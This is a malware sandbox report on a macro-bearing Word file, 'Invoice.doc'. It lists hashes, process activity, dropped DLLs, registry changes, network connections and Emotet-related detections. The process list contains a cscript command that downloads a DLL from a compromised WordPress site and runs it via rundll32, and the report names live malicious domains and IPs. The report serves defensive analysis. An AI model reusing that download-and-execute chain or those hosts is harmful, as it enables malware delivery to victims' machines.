File name:

Invoice.doc

Full analysis: https://app.any.run/tasks/0ba53a31-e6bf-4343-b28e-770452577622
Verdict: Malicious activity
Threats:

Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email.

Malware Trends Tracker     >>>
Analysis date: March 30, 2020, 23:00:47
OS: Windows 10 Professional (build: 16299, 64 bit)
Tags:
macros
macros-on-open
trojan
Indicators:
MIME: application/vnd.openxmlformats-officedocument.wordprocessingml.document
File info: Microsoft Word 2007+
MD5:

92826793628D5D2F1D4CC7C304289B7F

SHA1:

72C8B24336C8D0C6180E1DF9B11EDE455C264465

SHA256:

73C199BC870AB86003D3184D56140534FC90F245A0866C11AC8992F4C9C048F5

SSDEEP:

3072:4VDHhd5A6trmYodxLrOa5nctJTDS+qMWucre+IA:4DBdNtrmxxLrO0nUJTDJ7j+f

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 5440)

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 5440)

    • Executes PowerShell scripts

      • cmd.exe (PID: 5676)

    • Loads dropped or rewritten executable

      • rundll32.exe (PID: 2616)

    • Changes the autorun value in the registry

      • msiexec.exe (PID: 404)

  • SUSPICIOUS

    • Executes scripts

      • cmd.exe (PID: 5676)

    • Executable content was dropped or overwritten

      • cscript.exe (PID: 4544)
      • msiexec.exe (PID: 404)

    • Reads the machine GUID from the registry

      • cscript.exe (PID: 4544)
      • powershell.exe (PID: 5960)
      • msiexec.exe (PID: 404)
      • backgroundTaskHost.exe (PID: 6052)
      • SpeechRuntime.exe (PID: 3668)

    • Uses RUNDLL32.EXE to load library

      • powershell.exe (PID: 5960)
      • rundll32.exe (PID: 2836)

    • Uses NETSTAT.EXE to discover network connections

      • cmd.exe (PID: 5676)

    • Creates files in the user directory

      • msiexec.exe (PID: 404)
      • SystemSettings.exe (PID: 5808)

    • Checks supported languages

      • SystemSettings.exe (PID: 5808)
      • backgroundTaskHost.exe (PID: 6052)

    • Executed via COM

      • ApplicationFrameHost.exe (PID: 4216)
      • SystemSettings.exe (PID: 5808)
      • RuntimeBroker.exe (PID: 5380)
      • backgroundTaskHost.exe (PID: 6052)
      • SpeechRuntime.exe (PID: 3668)

  • INFO

    • Reads Environment values

      • WINWORD.EXE (PID: 5440)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 5440)

    • Reads the machine GUID from the registry

      • WINWORD.EXE (PID: 5440)

    • Scans artifacts that could help determine the target

      • WINWORD.EXE (PID: 5440)

    • Reads the software policy settings

      • powershell.exe (PID: 5960)
      • msiexec.exe (PID: 404)

    • Reads settings of System Certificates

      • powershell.exe (PID: 5960)
      • msiexec.exe (PID: 404)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 5440)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.docm | Word Microsoft Office Open XML Format document (with Macro) (53.6)
.docx | Word Microsoft Office Open XML Format document (24.2)
.zip | Open Packaging Conventions container (18)
.zip | ZIP compressed archive (4.1)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0006
ZipCompression: Deflated
ZipModifyDate: 1980:01:01 00:00:00
ZipCRC: 0x3f450766
ZipCompressedSize: 399
ZipUncompressedSize: 1503
ZipFileName: [Content_Types].xml

XMP

Title: -
Subject: -
Creator: user
Description: -

XML

Keywords: -
LastModifiedBy: fjqowisuqwodi
RevisionNumber: 5
CreateDate: 2020:03:28 04:59:00Z
ModifyDate: 2020:03:29 20:05:00Z
Template: Normal
TotalEditTime: 11 minutes
Pages: 1
Words: -
Characters: 1
Application: Microsoft Office Word
DocSecurity: None
Lines: 1
Paragraphs: 1
ScaleCrop: No
Company: -
LinksUpToDate: No
CharactersWithSpaces: 1
SharedDoc: No
HyperlinksChanged: No
AppVersion: 16
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
105
Monitored processes
15
Malicious processes
2
Suspicious processes
4

Behavior graph

Click at the process to see the details
start winword.exe cmd.exe no specs conhost.exe no specs cscript.exe powershell.exe no specs rundll32.exe no specs rundll32.exe no specs tracert.exe no specs netstat.exe no specs msiexec.exe applicationframehost.exe no specs systemsettings.exe no specs runtimebroker.exe no specs backgroundtaskhost.exe no specs speechruntime.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
84\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\WINDOWS\system32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\conhostv2.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
404msiexec.exeC:\WINDOWS\SysWOW64\msiexec.exe
rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\systemroot\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernelbase.dll
2616"C:\WINDOWS\system32\rundll32.exe" C:\InstallShield\vShield.dll DllRegisterServerC:\WINDOWS\SysWOW64\rundll32.exe—rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\rundll32.exe
c:\systemroot\system32\ntdll.dll
c:\systemroot\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernelbase.dll
2836"C:\WINDOWS\system32\rundll32.exe" C:\InstallShield\vShield.dll DllRegisterServerC:\WINDOWS\system32\rundll32.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\rundll32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcryptprimitives.dll
c:\windows\system32\shcore.dll
3668C:\Windows\System32\Speech_OneCore\Common\SpeechRuntime.exe -EmbeddingC:\Windows\System32\Speech_OneCore\Common\SpeechRuntime.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Speech Runtime Executable
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\speech_onecore\common\speechruntime.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\msvcp110_win.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcryptprimitives.dll
4216C:\WINDOWS\system32\ApplicationFrameHost.exe -EmbeddingC:\WINDOWS\system32\ApplicationFrameHost.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Application Frame Host
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\applicationframehost.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcryptprimitives.dll
c:\windows\system32\kernel.appcore.dll
4544cscript //nologo c:\InstallShield\Shield18.vbs http://restorefutureschool.com/wp-includes/customize/class-wp-customize-partial.dll C:\InstallShield\vShield.dllC:\WINDOWS\system32\cscript.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Console Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\cscript.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5380C:\Windows\System32\RuntimeBroker.exe -EmbeddingC:\Windows\System32\RuntimeBroker.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Runtime Broker
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\runtimebroker.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcryptprimitives.dll
c:\windows\system32\powrprof.dll
c:\windows\system32\sechost.dll
5440"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\admin\Desktop\Invoice.doc" /o ""C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
16.0.12026.20264
Modules
Images
c:\program files\microsoft office\root\office16\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\program files\common files\microsoft shared\clicktorun\appvisvsubsystems64.dll
c:\windows\system32\rpcrt4.dll
5532NETSTATC:\WINDOWS\system32\NETSTAT.EXE—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
TCP/IP Netstat Command
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\netstat.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\nsi.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\snmpapi.dll
Total events
4 313
Read events
3 740
Write events
499
Delete events
74

Modification events

(PID) Process:(5440) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\Common\ClientTelemetry\Sampling
Operation:writeName:0
Value:
017012000000001000284FFA2E02000000000000000500000000000000
(PID) Process:(5440) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\Common\CrashPersistence\WINWORD\5440
Operation:writeName:0
Value:
0B0E10B09C0A2119D55C49ABC4CC4124151DC1230046A6D991E7F1DC81EB016A0410240044FA5D64A89E01008500A907556E6B6E6F776EC9062E2237746A7531514A7270614A676C575A3133564B5831454135496D464B2F5649644A30497A464862453674383D2200
(PID) Process:(5440) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:en-US
Value:
2
(PID) Process:(5440) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:es-es
Value:
2
(PID) Process:(5440) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:de-de
Value:
2
(PID) Process:(5440) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:fr-fr
Value:
2
(PID) Process:(5440) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:it-it
Value:
2
(PID) Process:(5440) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:ja-jp
Value:
2
(PID) Process:(5440) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:ko-kr
Value:
2
(PID) Process:(5440) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:pt-br
Value:
2
Executable files
2
Suspicious files
2
Text files
69
Unknown types
5

Dropped files

PID
Process
Filename
Type
5440WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UAVPW6PLBFGKNGIUL2AO.temp —
MD5:—
SHA256:—
5440WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\L6GXEEU48G3KI8IPFGEY.temp —
MD5:—
SHA256:—
5960powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_f2qi4zkc.ar4.ps1 —
MD5:—
SHA256:—
5960powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_hk32rnuz.52t.psm1 —
MD5:—
SHA256:—
5808SystemSettings.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3DHMDN2LMLV925M0W944.temp —
MD5:—
SHA256:—
5440WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\Invoice.doc.LNKlnk
MD5:—
SHA256:—
5440WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:—
SHA256:—
5960powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:—
SHA256:—
4544cscript.exeC:\InstallShield\vShield.dllexecutable
MD5:—
SHA256:—
404msiexec.exeC:\Users\admin\AppData\Roaming\Ihno\yhbo.dllexecutable
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
7
DNS requests
24
Threats
4

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4544
cscript.exe
GET
301
198.187.29.233:80
http://restorefutureschool.com/wp-includes/customize/class-wp-customize-partial.dll
US
html
292 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
5440
WINWORD.EXE
13.107.3.128:443
config.edge.skype.com
Microsoft Corporation
US
whitelisted
4544
cscript.exe
198.187.29.233:80
restorefutureschool.com
Namecheap, Inc.
US
malicious
5440
WINWORD.EXE
52.114.132.34:443
self.events.data.microsoft.com
Microsoft Corporation
US
unknown
4544
cscript.exe
198.187.29.233:443
restorefutureschool.com
Namecheap, Inc.
US
malicious
5220
svchost.exe
20.191.48.196:443
settings-win-ppe.data.microsoft.com
Microsoft Corporation
US
unknown
404
msiexec.exe
185.141.24.57:443
105711.com
Host Sailor Ltd.
RO
malicious

DNS requests

Domain
IP
Reputation
config.edge.skype.com
  • 13.107.3.128
malicious
restorefutureschool.com
  • 198.187.29.233
malicious
self.events.data.microsoft.com
  • 52.114.132.34
  • 52.114.77.164
whitelisted
settings-win-ppe.data.microsoft.com
  • 20.191.48.196
whitelisted
105711.com
  • 185.141.24.57
  • 162.255.119.253
malicious
209711.com
  • —
malicious
106311.com
  • —
unknown
124331.com
  • —
unknown

Threats

PID
Process
Class
Message
4544
cscript.exe
A Network Trojan was detected
AV TROJAN Possible infected Wordpress - Payload download attempt
404
msiexec.exe
A Network Trojan was detected
MALWARE [PTsecurity] Emotet SSL Certificate Detected
404
msiexec.exe
A Network Trojan was detected
MALWARE [PTsecurity] Emotet SSL Certificate Detected
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Invoice.doc